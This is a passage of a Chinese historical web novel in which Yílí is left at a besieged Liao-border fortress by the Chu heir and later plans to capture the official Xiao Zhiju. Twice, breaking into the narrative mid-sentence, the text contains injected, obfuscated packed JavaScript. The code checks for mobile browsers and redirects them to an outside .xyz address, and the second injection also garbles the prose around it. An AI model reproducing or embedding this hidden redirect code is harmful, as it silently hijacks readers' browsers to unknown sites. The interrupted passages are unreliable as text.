籍贯:汴京; 居所:楚国公世子府。 赐他非奴身份,需秉持在“游离”这个名字下,正身正名,世人不可欺。 游离将照身帖收好了,“打狗照看主人的三分面,谢谢公子费的心气神。” 秋上一番明训暗示下,再问起寨堡御敌的策略,可要简便多了。 “耶律慕等不到援军,有何后策?” “未曾听他言及过。” “你作指挥使,会怎样做?” “我会冒险诈传圣朝倾兵攻辽大帐本部,诱他回头去救,暂时可解原野之围。” “他若不去?” “青县军想必此时正在火袭夷离堇大帐,他又如何不去救?” 秋上未再发话,眸光中沉沉一顿,尔后归于平静。 游离果真是个耳聪目明的,阖城之人,唯他看得清。 这样的人,如若不为己所用,那便是纵虎归山养虎为患。 摸不清来历前,加之游离满身反骨,言语固辞随侍一职,该如何妥善安置他,是秋上需考虑的问题。 秋上忽而不言语,在游离的眼里,那就是默认。 面对不闻喜怒的脸,游离猜不准,此时的他想做什么。 不过该自己做的还是很清楚的,“公子督战半宿,风寒侵身,早些歇息吧。” 外间雕花门传来毕剥敲门声。 是炎颜应请前来伺候贵客。 游离秉明了来人来意,又诚恳道:“我手脚粗鄙,有时不查,力气过大,给公子增添伤痛无益,不若让颜娘子代劳。” “慢着。” 游离垂眸恭待训令。 秋上沉吟一下,最终说道:“我见你时,前尘过往不知,注色经历皆无,这点你须记得。” “嗯。” “唤娘子进来吧。” 游离由此退下,换炎颜来伺候,自身也得便利赶往城头。 夜风冷而利,刮着他疾步而行的身子,方才秋上最后面提的一句,到底是何意,此刻与城外生死攸关的围困一比,也显得无足轻重了。 24.放纵 阴云飞渡,寒霾漫卷,寨堡外的原野上,如骤然停止的雪一般,沉寂无声。 耶律慕令部曲去探敌方动静,最终只有技高胆大的铁青外出了一趟,带俩人悄悄摸索了两三刻钟,带回一个好消息,“大王退兵了,走的时候有些仓促,一些辎重器械还没来得及拖走,给我们拣了个现成的便宜。” 耶律慕才放心打开吊桥门,让部曲前去拖取。 恰逢游离赶到。 耶律慕恭敬作揖,向游离请教仓促退兵是何道理。 游离审慎地说:“我猜楚世子写信求援,与海津镇最近的地方,便是宋朝的青县,那儿有驻军,他们越境夜袭夷离堇大帐,才迫得原野上退兵去救。” 耶律慕恍然道:“原来楚世子的援军,用的是‘围魏救赵’的法子。” 既然寨堡无事,耶律慕极想去向贵客赔罪,不该在城头上说些着急忙慌的话。 游离回他,此时楚世子已歇息,待天明辰时后去拜访较为合适。 耶律慕从善如流。 他将披风解下,给游离系好,为他保暖,并延请游离,“小郎君冰雪聪明,如是多有依仗,城防布局、填石补垣之类,如是学术尚浅,请小郎君随我走一趟,指点指点。” 游离便跟在耶律慕身后,偕着义兄铁青一道,三人仔细视察寨堡破损程度,防御与战力又该如何修复。 铁青从怀里掏出酥泥饼,递给了游离。 游离默契接过,慢慢吃完这来之不易的宵夜。 铁青从腰间取下温热的奶酥茶囊,一并递过,并叮嘱说:“慢些吃,娘亲在灶窝里还给你热着夜宵。” 耶律慕看了更是由衷感激,两位外客为着寨堡的生死存亡如此劳心劳力。他唤铁青明日勘录损失的物资、需修缮的工事、采办的物料,一并做个册子递过来,再又客气致谢,让两人回院歇息。 游离吃饱喝足,一人霸占火炕,摊开手脚睡了个安稳觉。 翌日彤云密布,朔风凛冽,探头探脑的阵雪,泼洒了好几个回合。 游离起身时,辰时已过,秋上的针刺回毒时间亦过,不知他捱住苦痛没有。如果一命呜呼,形势于寨堡大不利。 游离洗漱完毕,喝过桌上摆放的小米粥,吃过鸡蛋青丝卷饼,将秋上替他做的两条鱼竿找出来,一大早寻好去处垂钓。 他挂着腰篓,怀里揣着两竿,将手掖在臂弯下,闲荡荡地走着。突见到前去贵宾阁的汤水婆子,就拦住她问了句:“贵客是否驾鹤?” “驾鹤是啥叨叨?” “婆婆您送汤水做甚?” “二公子唤我去,候着两位贵客净沐。” 那便是没有驾鹤西去,游离给婆子赔了礼,继续走向耶律家最大的荷塘垂钓。他将浮冰雪被抓勾走,打了窝子,还嫌弃耶律家山石过于嶙峋,不便背依而坐,将恩赐的锦貂披风一裹,端坐在太湖石盘上。 那厢里,耶律慕正在院里,等待贵客起身,向他赔罪。没想到端水的婆子见到主人家就在门外,还恭恭候候的,被贵客拿了乔,就向他禀告:“那个瞎了眼的小郎君,像是钓鱼去了,碰见我,还问这边的客人有没有驾鹤——” 耶律慕将食指抵在唇中,婆子会意过来,驾鹤不是好话。她缩了缩肩,低头进门换水。 耶律慕回头看看院里的当值,点了一个得当的,对他说:“赶紧朝池子里放几尾鱼。” 值务做事足够贴心,先遣婢女送暖炉、围披、小食、热汤,几次三番扰乱了游离的心神,他再蛇形穿溜进槛石中间,忍着刺寒,悄悄的往塘水里搁放了许多鱼。 游离一坐一上午,酣然沉迷于此。孤石蓑笠翁,独钓寒江雪。 城在,人存,食足,亲睦,还没有什么能让他分神的。 是以贵宾阁前拒马道上,远远的传来稀落人马嘶鸣,他也未曾回头看顾。 因而也不知,有一小支雪衣卫飞骑,进得寨堡,将秋上接走。谢观微当先骑在白马上,窄肩劲腰,身似标枪,押着队伍驰向原野。 直到晌午,炎颜给游离烧了全鱼宴,正在摆饭时,耶律慕登门造访俨然作陪,才向游离传递两个消息:楚世子已离开寨堡,将亲随——即游离本尊——寄寓在城内,留下丰厚的食宿柴薪银;风传昨宿海津镇到处打仗,战况如何未经打听,寨堡稍待喘息,全城坚闭。 若是旁人听到楚世子撇下亲随不顾,还被二公子粉饰为寄寓食客,并伴有“丰厚”的赠银,怕不是个个要钻营进去,玩赏一两味薄情寡义的谈资; 偏偏游离一听到秋上离开,就旁若无人笑得猖狂,把耶律慕看得肉跳心惊。 既然撇下了他,那就是合着先前的意思,放他照身帖,任他以自由身行事。 秋上这个名字,在游离心里,也成了规规正正的“楚世子”,极好的身份尊荣。 炎颜在桌底小伸一腿,蹬到游离的脚踝,将他的笑容打闪,“消停些,公子跟前长点眼力,莫以为你得了郁火之症(神经病)。” 那些婆子、农夫搬弄是非的话,早就传到她耳朵里,她脸上不声张,心底也觉得自家银被单独撂下,委实失了里子面子。 哪晓得自家阿银笑得白牙尽展,知子莫如母,一瞧这发落就是正中下怀的。 游离一肃形貌,“多谢公子收容,某也不是吃白食的,愿效犬马之劳。” 耶律慕趁机说:“如是愧怍再请,小郎君午后去探得些确切消息?” “诺。” 一顿饭吃得宾主相宜,除却主人身份,耶律慕谈吐随和,持礼恭谦,尤其对着可笼络的人才时,往往不吝赞誉,听得炎颜的老脸都搁不住。 铁青是个闷葫芦,从头到尾只听,非问不答。 游离只顾着吃,稍微分神想了下,还是耶律慕好说话,在楚世子跟前,要遣词造句端着说,还不能听掉他的任何一句话…… 桌上活络气氛的自然是炎颜,先说些体己话,再感激主家公子对哥子们的看顾,一并承谢耶律慕想得周到,连放鱼换水这样的细事,都给二郎考虑到了。 耶律慕借坡下驴,言称小郎君乃寨堡福星瑞兆,得他庇佑才能护住所有人周全,平时请神都不得利,不若转施柴薪银,奉他为镇宅之宝。 游离厚颜听完,暗想偌大一座寨堡,提溜不出两三个顶事的么?把他吹捧得腾江倒海无所不能的,只怕有更为难的差事嘱上。 耶律慕拿出五百两银票,并释疑说:“这是楚世子交付下来的‘柴薪银’,不称‘茶水钱’,专呼俸禄名,等额比齐大宋三师之年俸,可见他私心里极为看重小郎君,如是承贵接下,举之不武,现悉数转交。” 游离听得眼皮一跳,一年给五百,准则定高了,来年如再漂浮于此,哪里寻得牛毛。嘴里淡淡说:“受之不恭,予我无用,一者转兑不开,二者寨堡亟待修缮,不若好钢使在刃上。” 耶律慕谦雅一拱手:“如是疏忽了,回头吩咐账房,按月银发放,小郎君不必再推辞。” “诺。” 耶律慕见寒暄已够,告辞离场。 炎颜逮住机会问:“楚世子那边,是什么意思?” 直到此时,游离才猛然醒悟,凌晨由人耳提面命的一句“这点你须记得”,到底是哪点要他记得,又遭别个嫌弃的。 原来是楚世子不知他的出身来历,不清他的过往经历,就骨鲠在喉,最终弃之不用。 这不整整好吗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12954913|133553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游离十分受用的样子,跟炎颜交代了,“他曾说肃整边关需人手,但又忌惮我来历不明,所以半路上把我撇这儿了。” 铁青道:“撇这儿还朝你身上使银子?” 游离:“楚世子舍得收买人心,铁哥又不是不知道。” 炎颜:“一年就给五百雪花银,你这人心可真热乎。” 游离眼神微异,“你们就没想过,当真要用起我时,往回赚的比这更多?” 炎颜叹口气,“说得也是,看楚世子行事,不像是做亏本买卖的。” 铁青:“他那人谨慎,说不准还要查一下阿银的出身。” 游离笃定道:“这是毋庸置疑的。依他那性子,一定会派人去蜀池,调档大索貌阅,再火速回传消息,我估摸着前后不超过三个月时间。他要查也不打紧,我对他没藏什么坏心,就是这前前后后的行为,会惊动郡公孟钦一。届时他也一定会派人来寻我,我若不找个稳妥的去处,难道还是受困于麒麟塔中,被他掌控一生么?” 炎颜一听,还有这一层关系牵连在内里,顿时不吱声了。 她不是蜀池人,并不十分了解阿银的前半生渊源,知他现在躲避蜀池郡公,不愿归故里,听得铁匠说,是避免与郡公兵戎相见,免除蜀池动荡。 郡公把持着阖郡上下的势力,又受宋朝宝印册封,以阿银现在的白衣遗民身份回去,无疑是再落虎掌,即便阿银凭着故国的拥趸起事,万难而成功,但在萧墙内舞干戈,无论结果如何,都无法改变大宋是正朔的事实。 所以说,阿银归与不归,反与不反,于自身有较大差池,可能对旧部子民无益,还极有可能引起宋朝的弹压。 这些道理,铁匠早就厘清,他的小主阿银虽然没有敞亮来说,但也是心知肚明的。 两人有默契,从来不朝这道创口上撒盐。 今朝炎颜无意捅破这个缺儿,铁匠三缄其口,锯成了闷嘴葫芦。 炎颜左右打量一眼,有些懂了,便慈眄游离,“二郎,我这半路捡来的便宜娘,跟你跟惯了,平时也少不得你的荫蔽,你要是不嫌弃,不管去哪里,都带上我。” 游离点头,“我们仨就在一起。” 午后,铁青整理好修缮所计的采办工料、役钱、各项费用等,送给耶律慕过目。炎颜也没闲着,竟然觍着脸去问账房里要来了游离的月钱四十二两,塞给了他,贴心地说:“公子要你外出打探消息,弯弯角角的,少不得一些打点。我这边还有点赏银,伺候世子爷得的,干脆二一添作五,都塞进荷包里,细细给我打算。” 装备妥当,铁青与游离两人乔装一番,领耶律慕的命令外出公干。 出了护城河,身后吊桥门查亚响着挂起,恢复了寨堡坚壁清野的风格。原野上,雪泥泛滥,处处都有重械车辙压过的痕迹,披落褚红人血,入目所及皆是凄凉的冷意。两旁山冈,残枝断木,燹火焚烧,成片累及,失去生机。 战争的萧条大致如此。 游离扣缰徐徐踏过山道。 铁青在后,一并看着夹道的荒凉。 游离说:“蜀池若能避免这些战火,也是好的。” 铁青道:“我懂。” “还记得当初锦里宫的一个宿卫,名叫林秀君的?” “不就是你说的兵司监典狱?” “是他。” “如今与你相认,能为你所用,也是好事。” 游离慢慢说:“他还提到,昌平县令起高墙坚壁,加固城防,至今未纳孟钦一的招抚,逢年遣使上表,请求追封昌平号予我。” “那你想回去么?” “还不到时候。” “无论小殿下做什么,铁某誓死追随。” 25.捉个兵 海津镇盘踞着一个消息灵通的地下城,有着见不得光的暗路与生财门道,只要雇主施与的银子多,还有命回头来计较的。 铁青扮作驴客,花重金买路引,不出意外被人狠宰钱银还逃得不见影,如此好欺负的外来客,也降低了城里的防心。此时铁青走投无路寻牙婆求门道,也是合情合理的,在这些兜兜转转的过程中,不期然就听到了一些风声。 比如现在去宋境的关口由青县军把守,谁都过不去,即使买到路引也无济于事; 比如为何海津镇一夜翻了天,那个作威作福的夷离堇怎么放任宋军骑到头上来,还撤出了镇东; 比如黑市的盐价跟着暴涨; 比如最大权贵耶律家的寨堡几乎被打破时,难民也不敢踏足原野,纷纷躲去了无兵镇守的兵司监; …… 乱七八糟的消息多,待铁青钱袋空空时,打赏到各处使人满意,才脱身出来。 他与游离汇合,互相交换了一下各自打探到的情况,从各方传来的风声来看,两人大致摸清了寨堡受困时,海津镇到底发生了何事。 子时一刻,夷离堇大帐派出重骑一千并先锋队、工卒来取耶律家寨堡;寨堡诸众抵御车械攻击之时,谢观微于城头射出若干鸣镝箭,分东西两方呼援两支夜行军,分别是宋境青县明光铠甲军与沧县突骑,齐齐突破辽宋边境,左右包抄夷离堇大帐。 夷离堇守帐,突闻边防传来五燧七鼓,标志为最为紧急的示警时,心知不好,令冲兵火速回帐援防。燧火、哨鼓仅仅只响亮一轮,再无声息,可见犯军数倍于我,已攻掠关口要道。 此后的海津镇等于门户大开。 夷离堇吩咐外围布上地陷与拦栅,中间垒起沙袋冲车,人马站在第三层与第四层,预备抵抗来敌的冲击。先露脸的是沧县突骑,有备而来,施放霹雳火器撕开夷离堇阵脚,伴以火箭环射,打得守军招架不住节节后退。再有明光铠甲军状若恶鬼,焰甲兽面胄,从雪夜深处破空袭来,前军锋锐未至,已使守军不战而溃。 夷离堇半生戎马倥偬,在辽国所遇之对手,未曾是这样凶神恶煞拼死搏命的,知道时机于我不利,不待围困寨堡的冲军回撤,立刻下令紧急避险,保存残余兵力。 说到这儿,铁青黧面露出惊色,“这青县明光铠甲军形状可怖,若使之逐鹿神州,岂不是无可阻挡?” 游离正坐在雪树下独享羊羔腿儿肉裹蒸饼,咀嚼十分尽兴。“没那么邪乎,跟他打消耗。” “青县军靠重金稀物养着,一套铠甲都能起一党籍的赋税,你拿什么拼他消耗?” 游离举起竹筒喝水,暗道,所以才要生财备战呐。 “不若你来指点一二?” “……” “小殿下,怎么不说话了?” “正吃着呢。” 铁青面色黧黑,寻常不易看出波澜,这会儿紧巴个脸,没说话。 游离擦擦嘴,抬头看他一眼,“又不是要兄长与他冲锋,紧张做什么?怎么尽是灭自己志气长他人威风的?你道楚世子没想过趁乱攻下寨堡?那他为什么不来?只因城高墙厚,奈它莫何呀。再说了,人家斩劲半哥子坐墙头干什么来的?观战观战找补找补,贼精着呢。他一看到城头的油罐排管布防,就知道辽骑攻不上来,不是放心的回去睡觉了么?你别这样看着我,我知道你在想什么——彼时火油燃尽,城防不继,青县军完全可以挟裹过来,举全力而攻城,但你别忘了,耶律家对楚世子还有利处,所以他现在必然不取,待战损降至最小时,他就会汹汹舞干戈了。” 铁青心头一热:“那二公子这边,不是抵不住?” “从长远来看,确系抵不过。” “我曾劝过公子募兵增防,或是远避海津,离开这兵家追逐之地,他偏偏又不舍。” “不用瞎操心,他知道进退取舍。” “话虽这样说,终日提心吊胆,也不是长久之计。” “俗话说,树挪死人挪活,只要他愿意动一动,总归有法子的。” “什么法子?小殿下不用跟我藏猫儿。” “你急什么呢?且看过几日,我给你捉个抱朴子来,让他在城防一事上试演,日后真的与青县军这样的豺狼虎豹冲突,总能有个掣肘的法子。” 铁青笑了笑:“我就知小殿下有办法。” 游离回:“每次都要我吃你的激将,瞧着蒸饼的面上,不跟你计较了。” 铁青又掏出一包肉脯孝敬小殿下。“只要二公子守得住,你就有个长久栖身之地,不用辗转海外四处奔波。” 游离心头暖和,抿了抿嘴角。 他的选择,就是铁青的选择;有他的地方,就有铁青的效力。 怕他风餐露宿、性情乖张又钻到什么照顾不到的地方,所以孜孜以求让他安定下来。 当真是忠心耿耿。 铁青问:“你说的‘抱朴子’,又是何人?” “夷离堇帐前的盐铁判官,萧知矩。” 铁青稍稍回想一下,立刻明晰了这人是谁。 萧知矩,就是夷离堇亲兵所称的“萧官人”,瞧着快三十岁的光景,喜爱看书画图,整日在军帐中捣鼓火药蚀水的。当时铁青在军中打铁,听到那些伴当们说,萧知矩自请调来边境公务,好好的上京不呆,一看就是不受宠被外放来的,嘴上倒说得好听,用请缨来囫囵面子。 在铁青印象中,那人行事首鼠两端,不敢得罪任何一方,常常在辽宋双边事务中骑墙。而且他痴心于旁门左道之术,也不管夷离堇拿他炼制的蚀水炸物去荼毒奴隶、杀人取乐的。他还曾诱拐过铁青,目的是要铁青给他打模具,当时就掖手说:“铁匠不如从了我,虽说没什么荣华富贵,但能保你不受奴役,避免风雨浇头。你看这世道,弱肉强食能者为尊,我会炼制,你会打造,我俩珠联璧合,势必定鼎海津。” 铁青当时只低头诺诺,不愿惹上麻烦的样子,实则心里亮堂着,这人不就是小殿下交付过来的,常去兵司监拖活人来作试验的奸党么? 没听见答复,奸党就拿了模具走了。 既然提到这个人,游离是多少掌住分寸的,“萧知矩,字规矩,辽迭剌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12971464|133553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部出身,祖上血统不纯,有些杂驳,因而不受萧太后待见。他自请外调欲图功业,曾向耶律递荐帖,邀功督促辽宋盐铁事务云云,还熟络地认主归宗,声称耶律是他的东家——这些是炎颜打听到的。” 铁青:“竟有这种曲折。” “他手上有些本事,兵司监的腐蚀之刑就是他立的,不过林典狱怕得罪辽人,从来不敢用。” “盐滩场上的‘美人池林’,怕也是他的手笔?” “是。听林秀君说,夷离堇杀人取乐,一时兴起,要他整治出来的。” 铁青:“这人看似亦正亦邪,不分好歹,你此刻去捉兵,要格外小心。” 游离:“这个我省得,不做万全准备,我亦不愿招惹他。” “你有把握必成事?不如带上我,做一个帮衬。” “用你时,我会来呼。” “我不放心,看我一人回堡,炎颜要追着我骂。” 游离笑了笑,“兄长又拿话来试我,现今夷离堇大帐已倒,底下的猢狲没了势,肯定要抱耶律的城头,就说耶律来请,萧知矩还是乐意去的。” 昨宿两支煞神般的宋军夜袭夷离堇大帐,打的辽人骨血残落,还被拔了帐。夷离堇火速退出海津镇,驻扎在镇外的流河,加强防御。两支天降鬼煞军退回宋境,修建防御工事,调派重兵把守。这便无形的,把海津镇空了出来,作为辽大王与楚世子双军爆冲的缓和地带。剩下的寨堡,耸立在两者之间,最招人眼馋,偏生一时半刻攻占不下来,又担忧被另一方掩杀过来捡便宜,所以三方势力就形成了鼎足之势,平衡不被打破,辽宋双方就各有牵制。 说到夜袭战争,行伍出身的铁青,有些意犹未尽,“楚世子当真没有食言,倾尽军力帮二公子打赢这场仗,速进火退,时机把握得真准。” 游离回道:“他手握当今最顶尖的暗哨传络术,密匙极难破译,昨晚我候在他身边许久,也未看清是怎样转变的。再说战况往往瞬息万变,难以预测,他在城头,总能及时得到耳目回报,利用掌握消息的先机,提前操控战局的走向,无往而不利。我看楚世子打仗,是打信息仗,能快速反应布局,接着送突骑冲锋、拱卫明光军扫荡,一气呵成,至今都未逢对手。” 铁青叹息:“如此可怕,无人希望与其遭逢上。” 雪霰抖落下来,粉扑扑的,钻进树下两人脖里,双双受到惊扰,把脖子缩了起来。两人又说了一些话,准备好物什,然后分头行动。 铁青回寨堡,一五一十转述海津镇目前现况,夷离堇与楚世子皆退了兵,各自加强边关防守;阿银留在镇子里转转,等待一些时日再回,若问理由,那便是尝遍各种风味的小吃。 耶律慕只担心小郎君一人在外,那些鱼龙混杂的地方,有个闪失该如何向楚世子交代。游离料到有这句,让铁青把话带到:所经之处,皆是他人闪失,有炮轰至深海的,有大船倾覆失去踪影的,还有被他的软藤衣刺中而一命呜呼的……以至于世人一见他面相不善,就纷纷作鸟兽散。 ★请看下作者有话说,下一章零点更新★